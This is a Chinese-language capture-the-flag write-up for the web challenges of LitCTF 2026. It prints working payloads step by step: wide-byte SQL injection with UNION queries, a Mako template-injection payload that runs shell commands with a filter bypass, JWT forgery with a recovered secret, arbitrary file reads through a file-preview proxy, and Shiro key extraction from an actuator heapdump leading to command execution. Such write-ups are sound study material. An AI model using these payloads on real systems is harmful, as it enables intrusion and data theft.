LitCTF 2026 WEB方向全WP

LitCTF 2026 WEB方向全WP

简单写一下今天做了的LitCTf的WP,但只有WEB

lit_ezsql

题目描述

注注注!

爆破了一下我的查询闭合方式的字典,所有 payload 只会老实地返回:

image-20260523124235286

也没有报错啥的,大概率是要宽字节注入,浏览器上方地址中传入:

http
/query?id=1%df'

返回报错了:

txt
数据库错误:(1064, "You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1�\\'' LIMIT 50' at line 1")

接下来就是 Union 联合查询:

  1. 判断列数
    http
    /query?id=1%df' order by 5%23
    

    正常回显 id 为 1 的查询结果。
    http
    /query?id=1%df' order by 6%23
    

    返回 数据库错误:(1054, "Unknown column '6' in 'order clause'")
    说明本题共 5 列。
  2. 找回显位
    http
    /query?id=-1%df' union select 1,2,3,4,5%23
    

    返回:
    txt
    查询结果
    id	name	col2	col3	col4
    1	2	3	4	5
    

    说明本题每一列都是回显位置。
  3. 爆库名
    http
    /query?id=-1%df' union select 1,group_concat(schema_name),3,4,5 from information_schema.schemata%23
    

    得到 information_schema,ezsql
  4. ezsql 库的表名
    http
    /query?id=-1%df' union select 1,group_concat(table_name),3,4,5 from information_schema.tables where table_schema=0x657a73716c%23
    

    其中 0x657a73716cezsql 的十六进制。


    得到 users,flag_store
  5. ezsql 库的 flag_store 表的列名
    http
    /query?id=-1%df' union select 1,group_concat(column_name),3,4,5 from information_schema.columns where table_schema=0x657a73716c%23 and table_name=0x666c61675f73746f7265
    

    得到 id,name,col2,col3,col4,id,flag
  6. flag_store 表的 flag 列的数据
    http
    /query?id=-1%df' union select 1,flag,3,4,5 from ezsql.flag_store%23
    

    拿到 flag。

lit_ezssti

题目描述

缺什么补什么(x

Wappalyzer 插件显示编程语言为 Python,先输入:

python
{{7*7}}

原样回显,再输入:

python
${7*7}

回显 WAF,说明应该是猜对了,后端模板引擎是 Mako,但是过滤了 $,可以用 Mako 代码块 <% ... %> 替代,输入:

python
<% context.write(__import__('os').popen('cat /flag').read()) %>

又回显 WAF,测试一下是过滤了 .flag,把所有的 . 替换成 getattr()flag 换成 fla*,输入:

python
<%getattr(context,'write')(getattr(getattr(__import__('os'),'popen')('cat /fla*'),'read')())%>

拿到 flag。

lit_reverse_my_web

题目描述

Web手也要会逆向么喵?

不会逆向,我只会拽进 IDA 然后按 F5...

shift + F4 看函数列表,ctrl + fmain.main,点击去后按 F5 查看伪代码。

然后我也不会了,可以交给 re 手,说是能解出来一个 JWT 密钥,为:

txt
rMw_2026_litctf_jwt_secret_key!!

回到熟悉的 WEB 靶机页面,先去开户申请注册一个账号 test/123456,接着用这个帐号去登录,登录进去后点击 进入归档中心,显示:

txt
您暂无此资源的访问权限

抓个包,看到有:

http
token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyb2xlIjoidXNlciIsImlzcyI6InJldmVyc2VNeVdlYiIsInN1YiI6InRlc3QiLCJleHAiOjE3Nzk1OTg5NDgsImlhdCI6MTc3OTUxMjU0OH0.8p5tANXSvqY0Sl07lVXzKYJlzeu_QoR9cFIp6QSdfKc

这里伪造 JWT 使用的是 BurpSuite 插件 JWT Editor:

image-20260523130612440

先去 BurpSuite 页面顶部的 JWT Editor,点击 New Symmetric Key ,选择 Specify secret,点击生成。

image-20260523133055857

确认后回到 Repeater 界面,把 role 的值从 user 改为 admin,点击 Sign ,选刚刚生成的 key 就可以了。

Northbridge Document Hub

题目描述

Northbridge 文档中心接入了 kkFileView 兼容的文件预览网关。 研究员账号已开放,试着从解析缓存里找到本季度财务归档中的 flag。

查看源码,找到:

html
<script src="/assets/js/portal.js"></script>

点进链接,看到:

  1. 得到账号密码 researcher/Research#2026
  2. 可以访问 /kkfileview/getCorsFile 并传入 GET 参数 urlPath,但是 atob() 函数说明值会被 Base64 解码。

传入:

http
/kkfileview/getCorsFile?urlPath=L3Byb2Mvc2VsZi9lbnZpcm9u

Base64 解码后是 /proc/self/environ

成功拿到环境变量,但 flag 不在里面,换成读取容器启动脚本,传入:

http
/kkfileview/getCorsFile?urlPath=L3Vzci9sb2NhbC9iaW4vZG9ja2VyLWVudHJ5cG9pbnQuc2g=

Base64 解码后是 /usr/local/bin/docker-entrypoint.sh

在 sh 文件里面看到了 flag 被打包进了 /opt/kkfileview/cache/parsed/q1_finance_report_2026.zip

传入:

http
/kkfileview/getCorsFile?urlPath=L29wdC9ra2ZpbGV2aWV3L2NhY2hlL3BhcnNlZC9xMV9maW5hbmNlX3JlcG9ydF8yMDI2LnppcA==

Base64 解码后是 /opt/kkfileview/cache/parsed/q1_finance_report_2026.zip

下载 zip 文件,拿到 flag。

华辰企业服务运营平台

题目描述

某客服工单系统上线后,保留了大量运维与调试能力。 你需要从系统暴露面和服务器中收集关键信息,完成权限突破并还原完整 flag

非预期方法:

dirsearch 扫目录看到了 /actuator 基本全能访问,优先去看环境变量,访问 /actuator/env,直接找到 flag。

预期方法:

访问 /actutor/heapdump 下载 heapdump 二进制文件,用 JDumpSpider 提取 Shiro key:

bash
curl -o heapdump http://127.0.0.1:18081/actuator/heapdump
java -jar JDumpSpider-1.1-SNAPSHOT-full.jar heapdump

在返回结果中看到:

txt
===========================================
CookieRememberMeManager(ShiroKey)
-------------
algMode = GCM, key = R1pDVEZTaGlyb0dDTUtleQ==, algName = AES

接着用 Java 8 启动 ShiroAttack2,类似如下进行配置:

image-20260527114521685

cat 命令执行拿到 flag_part1.txt:

txt
flag{actuator_heapdump_

接着找别的路由看还有什么地方可能藏另一半 flag,访问 /actuator/mappings 看所有路由,ctrl + fadmin,看到有:

txt
/api/admin/audit/list
/api/admin/ops/reports
/api/admin/system/export
/api/admin/system/summary

/api/admin/audit/list 中最有可能藏有 flag。

先登录进去,题目给了用户名为 user,弱密码爆破出来密码为 user123,接着访问 /api/admin/audit/list,返回:

txt
{"source":"audit-service","items":[{"id":"AR-8301","detail":"登录异地告警已人工复核为误报"},{"id":"AR-8302","detail":"数据库结构变更任务延后执行"},{"id":"AR-8303","detail":"历史归档备注: shiro_gcm_vertical_auth}"}]}

把 flag 进行拼接即可。

Java 简单语法速成
关闭机械革命左上角的大小写黑框提示

评论区

评论加载中...